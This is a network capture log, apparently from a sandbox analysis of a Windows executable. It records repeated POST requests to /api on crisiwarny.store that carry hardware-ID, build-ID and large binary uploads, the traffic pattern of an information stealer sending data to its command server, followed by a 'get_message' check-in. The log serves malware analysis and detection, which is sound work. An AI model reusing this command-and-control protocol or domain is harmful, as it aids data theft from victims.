2024-10-27 01:03:05 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"07085E35F3DAC3A3B7A34D025F8EFB9D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 01:03:05 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n0of5e2vqoj8eb615i4v04tf9d; expires=Wed, 19 Feb 2025 18:49:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XaydYr2RTb3BzYnJZPe5mxsKrfVfafgStn4i7mEPIUHjZeVnX0XCsHXypY4v8c0Zk9asr1j%2B61PTprao5dxIeAc9WByUBSOUtn91Ae%2BHbWPR3hL6k3qfSIaVUM5YxsiEwMwA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3aa7e8a6b45-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1168&sent=5&recv=14&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9728&delivery_rate=2435660&cwnd=251&unsent_bytes=0&cid=d1be85d91130507e&ts=550&x=0"
2024-10-27 01:03:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 01:03:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:06 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-27 01:03:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"07085E35F3DAC3A3B7A34D025F8EFB9D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 01:03:06 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-27 01:03:07 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gtrnf5i4f0ecd360m2ml9p1ppf; expires=Wed, 19 Feb 2025 18:49:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cQDqN%2BNwJAr%2FCD4iQj9%2BSL1NoY2zKbAC0TL5x5VmqnWViKOdbeVtPLFBDCkPJn0do%2FLZdoufF%2Bc8VtjEk7efKcJr6BhmnZTYl3LW7V3XL0E%2FqUNiRgWw1Ea%2FqyBjvccaRgmP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3b32c4be7a6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1405&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21404&delivery_rate=1998619&cwnd=251&unsent_bytes=0&cid=3261adaf80e931ca&ts=749&x=0"
2024-10-27 01:03:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 01:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:08 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1263 Host: crisiwarny.store
2024-10-27 01:03:08 UTC	1263	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"07085E35F3DAC3A3B7A34D025F8EFB9D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 01:03:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nsb23o9hd4dn7q77bd6scendu; expires=Wed, 19 Feb 2025 18:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VaEv5eJ1Tqtz1zIq2u7%2BBmnodV7cBXMQ0Xwm%2BWFIU0q%2FSuLUcbTH7flRGcid885%2FuY0s7gQKJkE6JvXpjKz5pXJajGdhQhsTR5HfY9o2Zu%2Bf%2F2%2BX0RGM9l%2F1z0TLWNx8dlw1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3bf49394871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1842&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2180&delivery_rate=1202158&cwnd=251&unsent_bytes=0&cid=2e309c58a4f33efd&ts=769&x=0"
2024-10-27 01:03:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 01:03:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:11 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587126 Host: crisiwarny.store
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"07085E35F3DAC3A3B7A34D025F8EFB9D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: 70 5b 2a 37 da aa e6 b6 9a ff 60 ae c7 21 9b fb fe 0d 79 01 16 88 04 b0 1b b7 69 2a 8d 76 68 07 ac 98 b3 d9 57 69 17 81 8d 56 d4 ca 7e e8 31 ea 9d 76 66 e7 13 97 58 15 a4 d7 55 bf fd 7f 1b 8c 90 cb 35 40 ff d0 0a 66 70 20 c6 84 9a cb 46 0a 4e 10 88 30 0d 6b 8d d1 58 8f 78 56 1e c5 53 04 b5 b9 9b 12 78 30 12 de e2 a1 d8 b7 59 42 cc 83 92 dd 02 c0 26 31 dd de 0d 07 1a e5 16 ae 98 a0 a3 44 9e db 97 40 b2 ca 30 55 64 bb 48 83 e6 bd f1 29 25 24 f6 8b 31 4b a8 43 92 ee b0 09 45 0e 0e c4 bf fc 3d ae cc 9d d0 8c a3 56 9a c9 a8 f7 c3 d2 5d 45 c0 d2 85 3b 59 54 8c 29 3c 8f 99 a3 a4 6e 35 fa 3a cb b1 eb 1c 08 9b c4 15 b9 ea 8d 3a 93 11 1f 5b 69 2a 99 99 81 85 c5 97 35 a6 de 2e 01 ef 3d 34 2d b4 3f 1f 98 fc 89 5e d8 20 04 18 3d 30 0f 2c 92 b3 86 c8 23 75 35 5f 13 bf Data Ascii: p[7`!yivhWiV~1vfXU5@fp FN0kXxVSx0YB&1D@0UdH)%$1KCE=V]E;YT)<n5::[i*5.=4-?^ =0,#u5_
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: d2 23 c5 b6 e9 d6 31 d4 77 de ec 38 aa 2d d8 31 17 10 d5 f8 0f 41 7f db 7a a1 e6 12 ac a1 21 7d 32 52 7e a4 3a 06 2c a5 d0 88 c3 d2 43 e9 66 77 65 8e c2 6b c6 a1 66 b1 44 4f 1c 19 b3 a0 73 bd f1 93 de 4c 98 52 9b 19 ec df 62 14 b5 f2 1d 1b e5 e9 bd e1 31 40 b2 67 fc 14 3d 69 ed 2a 13 e4 bd 87 3c 37 f4 34 82 fc 53 c0 ce 93 5f 35 5b 69 23 c3 d3 62 7c 7b c8 f8 a5 a5 45 88 a3 00 fe 00 e7 b9 e4 f6 a9 57 cd 5f e4 18 b0 bf d7 7c 4f 4f d0 d4 cc b9 c8 8c b9 8f 9a 48 bc 3f 29 dd f1 3b 1e 45 6c 7e 56 fd 73 bd 49 8a a1 cc 69 bb 43 34 0b fc b1 d6 78 96 80 aa fd cb b6 f9 ab 62 7d e0 5e f6 70 aa d3 2a 69 a4 01 35 76 19 58 44 53 f1 33 f8 65 c9 5f 45 c4 33 4e f6 33 f2 43 0a 69 56 d4 6c 38 7e 30 9a f5 c0 83 a6 82 aa 31 8a f0 be ea b9 85 1f bb 9c df aa 0d 7a a5 42 a5 17 2f Data Ascii: #1w8-1Az!}2R~:,CfwekfDOsLRb1@g=i<74S_5[i#b\|{EW_\|OOH?);El~VsIiC4xb}^pi5vXDS3e_E3N3CiVl8~01zB/
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: d2 1e 01 b6 50 f5 9c 84 57 2f c0 9d d4 01 eb b7 37 5f 5d dc 60 1a 2d 08 80 bb 01 25 07 3f f4 2b 70 70 50 fb 61 38 85 d6 d7 1a 91 ee f3 d0 b1 37 2b b3 73 b7 ac 87 a5 85 5b cf 78 33 1d 38 8f 04 bf ab c6 8c 3a 8f fc a3 54 c9 5e 9f ba 34 87 f5 19 a4 dd 6c 1d 32 7b 70 98 7b 77 af 40 9e 2e 02 fb c8 88 c4 75 be cc 50 fb 20 77 94 03 63 a7 41 b6 ee 90 ff 35 61 b0 70 56 10 2c 87 b1 77 02 87 3e 71 3b 63 88 a0 9f c3 aa d9 e7 eb f7 06 9c c5 4c d7 0f 08 39 46 58 6e 84 ec 7a 08 26 76 1c 1b c2 b1 2e 66 fc 6b f7 95 ca 61 d2 57 59 9f 49 1d bd 76 d9 f1 8f 84 d9 c1 d0 d7 44 f2 a4 bf 74 6c 45 f4 01 54 f1 ac 7f ac 9b bc c1 8f 3d 6f 4d f0 85 61 d6 ca 20 99 ac ad 7c f3 9f 8c 37 d2 12 af 72 1f 8d 36 b3 9e c5 b5 df d1 fb 84 ca 3b 21 5f 24 d1 9e f4 45 5d 55 51 6f fe 2e 00 62 70 73 Data Ascii: PW/7_]`-%?+ppPa87+s[x38:T^4l2{p{w@.uP wcA5apV,w>q;cL9FXnz&v.fkaWYIvDtlET=oMa \|7r6;!_$E]UQo.bps
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: ff ba 23 2e 6f e9 47 bd 49 cc 2d 0c 77 b7 a3 67 5a d4 f4 c1 b3 d9 1e 19 e1 1c 8e 2f 0e 2e 78 e6 2f 5f d2 df 11 45 7e ec 8a 2a 34 ce 60 e4 5d c1 dd 49 dc 9d d9 13 bd d4 06 80 80 2c 14 86 8a c8 85 01 de 8c 18 bd 1f 8d 20 32 19 4e 10 73 c3 c9 46 fc 78 5f ff 6b bf 2c 44 be 21 d8 b3 f5 bf 22 e4 ff 75 53 c6 71 8e f2 34 07 40 f9 26 0f 3b cf 9d cd 69 a7 a0 58 e4 cf 0f 1e ce 94 dd cc f3 21 52 6a 1f b6 66 5e e3 05 87 d5 f9 60 04 c8 b8 be a6 43 fa af fd 90 10 8b c7 72 1d dd 6e f5 9b 93 da da 7c fc ed 41 9d 55 c9 99 a0 3c a1 51 2c 38 0b d9 73 01 b3 55 84 96 cb 0d 19 48 99 5e 44 da 87 f3 47 08 4f 5d f3 53 03 ce e8 95 6b 13 bd 95 c8 2d f9 39 14 e8 d2 8b 18 1a 1f 20 b7 5f cc 6c 8c 10 1a 3b 7d 25 0d 92 12 3c 02 e7 58 18 7d 46 d2 15 05 12 fb c3 8f 5e 38 01 aa b9 46 2f f2 Data Ascii: #.oGI-wgZ/.x/_E~*4`]I, 2NsFx_k,D!"uSq4@&;iX!Rjf^`Crn\|AU<Q,8sUH^DGO]Sk-9 _l;}%<X}F^8F/
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: f7 7a 80 9c a4 c2 a7 ef ea 76 27 22 a0 3d ed 44 92 67 8d 6c 0d 69 cf a9 94 0b 82 75 c2 40 b3 5b 88 14 bf 29 f6 13 d6 e9 f2 c2 65 d6 23 fb e2 ee 35 d9 36 2b e3 fd fb f1 b9 6f 60 49 e7 e4 3d 60 64 0c e0 65 79 a6 bb 35 20 b8 32 b1 fb b7 d3 58 4d a6 44 61 ee 31 58 9c ff 52 ea 7e fc 31 d8 5f a9 14 17 8c 2c 45 6a b3 f4 c3 2a 67 4e 4f 93 2d b1 f3 47 eb 15 b1 4d 8c ec cc d2 78 c0 e3 e4 c4 39 cc 32 42 68 1e c6 5c 7f 76 98 5d a4 e2 a9 e9 cb 39 c1 fe 1e 48 d1 fc 08 da 1a 83 bb 96 9b aa 67 78 f6 2d 99 bf 35 4f 42 e2 11 54 ed 3d 38 5c 92 8a a9 42 7a 98 7e 0b aa 44 a0 61 48 29 60 66 f4 87 2b d7 f1 8c 43 76 48 c6 68 51 92 8e 72 f0 22 a7 88 89 3d 3e 8c e9 8a a1 e2 f7 f6 db 72 c6 a1 5a 85 ca a7 a4 71 3d 18 b4 5b a7 05 e3 b7 3a 69 56 f8 8a 45 fa 93 a8 08 90 f1 f7 b9 bf 44 Data Ascii: zv'"=Dgliu@[)e#56+o`I=`dey5 2XMDa1XR~1_,Ej*gNO-GMx92Bh\v]9Hgx-5OBT=8\Bz~DaH)`f+CvHhQr"=>rZq=[:iVED
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: 42 37 04 f0 ad 5f 3c cd 7b 14 86 1e 5c a7 50 c2 1e 4b d4 47 be 6c da 1d 54 d9 c1 e3 10 8f 6a 10 cd 61 b8 fd 5b 14 1e b9 58 ae 03 e7 7b 2f 5f 84 cd 10 40 4a a7 2e 37 25 2b 67 7d d2 66 b4 c2 88 b3 13 1d 62 a4 1a 93 2f 21 e5 d8 00 89 4a f9 23 50 fb 49 21 06 db 5f 2f 19 0a 15 dc 7a 1d 4f b3 d5 01 10 27 e1 33 67 b9 2f 37 74 fd bb 7d 82 34 b0 ac 9e 7e cc 0f e6 f4 61 03 4a 20 f8 10 92 02 31 86 a3 44 40 63 11 65 af 6e ef 07 17 72 c9 d2 fb 77 ed 5f 57 ed 1e d8 0d 0f 0d c0 58 03 de ad 67 3c 6a 36 27 00 90 cb 06 4b 51 f2 8f 8d de dd b8 c5 09 74 b9 4a b1 1a 4e 25 81 a2 b4 e1 99 a6 bc 8f 3a 26 24 34 cf 0d 01 af 61 1d 0b 0f 97 d9 8f 5c ec 82 41 af 71 11 d2 62 46 60 74 ea dd d5 f6 bd 71 ea 23 59 72 88 bb 3e 96 d4 8c a0 d6 1f 22 3c 2d bd b2 2f 78 03 56 d5 b3 21 70 2c 8a Data Ascii: B7_<{\PKGlTja[X{/_@J.7%+g}fb/!J#PI!_/zO'3g/7t}4~aJ 1D@cenrw_WXg<j6'KQtJN%:&$4a\AqbF`tq#Yr>"<-/xV!p,
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: d5 de b5 31 58 7d 33 5c 90 77 7e cf c3 80 b6 4b 98 e7 26 61 39 15 01 b7 0a 6f fc 79 6e b1 3b fc fc 69 60 0e 6a 8b 1e 7e f5 b1 19 55 a5 29 26 1c 50 ef d3 05 46 bf 76 07 ad 04 2c e2 56 75 be 0e 0a 84 84 87 2f 0c 0e f9 20 d8 50 8f 52 69 f1 b2 db 9c 4c 45 19 af c6 27 63 b2 a8 61 ac 9b 92 fa 73 b3 6a 7e 3a 86 c3 74 33 5e bc 38 c5 9c 6e b9 8b 00 c6 26 e9 41 3f 16 af 6f bd 32 e2 45 23 f5 c3 d9 fd 25 5f 33 fb f5 63 b1 07 a8 2a ec b1 c3 e9 a7 3f 32 3d de 87 74 b4 41 b7 37 93 7f 0a 59 b2 66 92 f9 4b de 9b b8 a7 5a 9f 50 a3 df bf fc 68 f8 09 68 a9 3c bc f1 8f dd e3 f4 fc 73 42 ac e1 3d d0 76 76 6f d5 34 9f a2 ec c6 9c e1 86 8c ed 8a 9d 46 81 f9 a2 ee cb ce 8b 4e ab ba 31 dc cd 9c a1 a2 04 d6 96 8e 10 d9 95 74 b8 ea 61 35 e7 0c f4 ca 7f 7d 63 28 e4 0a 38 58 56 dd e6 Data Ascii: 1X}3\w~K&a9oyn;i`j~U)&PFv,Vu/ PRiLE'casj~:t3^8n&A?o2E#%_3c*?2=tA7YfKZPhh<sB=vvo4FN1ta5}c(8XV
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: 4c f5 85 eb 28 b6 34 28 7d 82 4c e9 b1 21 76 bd 42 3d 57 fa 6d c7 ca a6 3c 16 1f ef 14 06 51 9b 25 9f c2 ed de cd 25 32 12 c7 c4 e7 f4 45 42 d7 38 ce d2 60 dd 4d 1d 10 55 08 cc 89 f5 ac bd b6 6e 02 12 02 08 d9 d3 67 d9 26 7e 50 e9 5d ac cf d3 74 e9 db 0e 96 19 4e d9 46 c2 c2 b0 cd 70 55 54 c8 d9 6f d5 97 1f 28 85 7b 6e 96 24 90 d1 d1 06 3c 31 71 17 93 37 cd 8c 51 61 c6 46 88 1c f6 52 75 0a a6 51 af c0 22 34 e8 a9 fa 66 a3 f6 61 66 93 e0 88 09 c9 5c bb 69 b9 4d 4d 5b 95 91 ca cb 9e a7 12 30 0f b1 05 d2 a1 ee 9f 92 0b 12 75 c0 8c c1 08 a7 82 69 8c 9c 3b 40 36 56 d4 9f 12 b3 44 47 96 61 c4 85 5f 2a c2 b8 cd 76 48 4f ad c0 16 52 e9 0b 4b 5d 93 c9 74 d6 7b af c9 d8 83 6d 1c a5 c4 2f 1f 58 bf 3b 24 26 84 f6 fb 7d a8 03 10 d3 c2 2f 46 7e 4d d4 4e 42 13 e5 91 1d Data Ascii: L(4(}L!vB=Wm<Q%%2EB8`MUng&~P]tNFpUTo({n$<1q7QaFRuQ"4faf\iMM[0ui;@6VDGa_*vHORK]t{m/X;$&}/F~MNB
2024-10-27 01:03:11 UTC	15331	OUT	Data Raw: d6 73 d5 86 4c 1f 4e 6d c6 b1 9f af 57 9e 67 af df 49 cb 5a 1c 9c 3f 5f 30 18 ec be e4 1b 51 53 3b 3d 7a 72 5c 9f f9 52 f6 89 c2 68 80 df 68 88 8a 70 df 89 a0 fa c8 a7 dc 65 52 88 3e 33 c2 12 19 92 d8 cd e8 1b 5e db 49 63 fa 66 70 22 0e b8 be 6d ac 3d 5f f0 8e a1 1f 52 76 8a 3d b8 e8 7e ab c4 5c f6 b8 c9 97 86 f7 77 b3 6e cd 18 16 04 e0 f3 3a a7 cd 31 0b 9f ec c8 e7 6d 72 13 6a 9e 0a 0e 6d 34 48 0d f7 19 36 b8 e1 17 e6 f1 ac 7b 24 19 3f fb 0a 4b 8b 60 37 7f 58 cb 64 e5 8f 9c da 09 e2 47 3f 43 54 22 43 a3 68 87 50 03 1f b8 09 fd 05 7f 0e fe e7 3e 8b 8d 57 0e 9a f0 78 c7 ca df 26 a7 61 24 64 26 8d 32 0d a0 53 df cf 99 4c b0 b8 86 73 37 92 d9 8b 0a e0 91 c9 d3 dd 21 a2 8a 70 f2 da 4f 40 70 73 18 36 bb db d0 80 86 13 83 8d c6 aa a3 fb 8b 31 7e 5c 25 eb 9a 12 Data Ascii: sLNmWgIZ?_0QS;=zr\RhhpeR>3^Icfp"m=_Rv=~\wn:1mrjm4H6{$?K`7XdG?CT"ChP>Wx&a$d&2SLs7!pO@ps61~\%
2024-10-27 01:03:14 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lqsh8m1nqd9lgr50ebjknpuvii; expires=Wed, 19 Feb 2025 18:49:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CmIlHLBXHe%2BwFffimEVgT1RwWH2Czqr73WJXfxNUx8ID4%2FfdONe7XMPEt378xfSTY0jiQdI6rVcQCIpfHbshUBYvc%2FxwYQ3AwC4ic1nt1pT3fWmQKss4SlYm2BYis7gPb8Of"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3ce5a326bae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&sent=237&recv=625&lost=0&retrans=0&sent_bytes=2839&recv_bytes=589717&delivery_rate=2594982&cwnd=251&unsent_bytes=0&cid=c693b683bc2c6e58&ts=3895&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 01:03:15 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=07085E35F3DAC3A3B7A34D025F8EFB9D
